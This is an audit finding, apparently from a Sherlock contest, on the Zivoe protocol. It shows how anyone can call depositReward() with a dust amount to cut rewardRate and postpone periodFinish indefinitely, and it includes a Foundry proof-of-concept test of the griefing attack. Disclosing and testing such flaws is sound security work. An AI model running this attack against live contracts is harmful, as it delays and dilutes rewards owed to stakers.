Large Ceramic Swan

medium

# Anyone can call `ZivoeRewards::depositReward()` to deposit the corresponding token, lower the `rewardRate` and postpone `periodFinish` indefinitely

## Summary
Anyone can call `ZivoeRewards::depositReward()` to deposit the corresponding token, lower the `rewardRate` and postpone `periodFinish` indefinitely
## Vulnerability Detail
`ZivoeRewards::depositReward()` has no call limit, anyone can deposit 1 token, reduce `rewardRate` and extend `periodFinish` infinitely
```js
@>    function depositReward(address _rewardsToken, uint256 reward) external updateReward(address(0)) nonReentrant {
        IERC20(_rewardsToken).safeTransferFrom(_msgSender(), address(this), reward);


        // Update vesting accounting for reward (if existing rewards being distributed, increase proportionally).
        if (block.timestamp >= rewardData[_rewardsToken].periodFinish) {
            rewardData[_rewardsToken].rewardRate = reward.div(rewardData[_rewardsToken].rewardsDuration);
        } else {
            uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
            uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
@>            rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
        }


        rewardData[_rewardsToken].lastUpdateTime = block.timestamp;
@>        rewardData[_rewardsToken].periodFinish = block.timestamp.add(rewardData[_rewardsToken].rewardsDuration);
        emit RewardDeposited(_rewardsToken, reward, _msgSender());
    }
```

### Poc
```js
// Anyone can call `ZivoeRewards::depositReward()` to deposit the corresponding token, lower the `rewardRate` and postpone `periodFinish` indefinitely
   function testAnyoneCallingZivoeRewardsDepositRewardExtendsPeriodFinishIndefinitely() public {
        uint256 amount = 1e18;
        // zvl calls addReward() and depositReward()
        mint("WETH", address(zvl), amount);
        vm.startPrank(address(zvl));
        stSTT.addReward(WETH,30 days);
        IERC20(WETH).approve(address(stSTT),amount);
        stSTT.depositReward(WETH,amount);    
        vm.stopPrank(); 
        (
            ,
            uint256 periodFinishBeforeAttack,
            uint256 rewardRateBeforeAttack,
            ,
        ) = stSTT.rewardData(WETH);

        vm.warp(block.timestamp + 15 days);
        // attacker calls depositReward() deposits 1 WETH
        mint("WETH", address(attacker), 1);
        vm.startPrank(attacker);
        IERC20(WETH).approve(address(stSTT),amount);
        stSTT.depositReward(WETH,1); 
        vm.stopPrank();
        (
            ,
            uint256 periodFinishAfterAttack,
            uint256 rewardRateAfterAttack,
            ,
        ) = stSTT.rewardData(WETH);
        // rewardRate has been reduced
        assertGt(rewardRateBeforeAttack,rewardRateAfterAttack);
        // periodFinish has been postponed
        assertLt(periodFinishBeforeAttack,periodFinishAfterAttack);
        vm.warp(block.timestamp + 29 days);
        // The original plan was 30 days, but it has now lasted 44 days and can be postponed indefinitely.
        assertGt(periodFinishAfterAttack,block.timestamp);  
    }
    // [PASS] testAnyoneCallingZivoeRewardsDepositRewardExtendsPeriodFinishIndefinitely() (gas: 230772)
```
## Impact
Anyone can call `ZivoeRewards::depositReward()` to deposit the corresponding token, lower the `rewardRate` and postpone `periodFinish` indefinitely
## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewards.sol#L228-L243
## Tool used

Manual Review

## Recommendation
It is recommended to add sender restrictions or amount limits
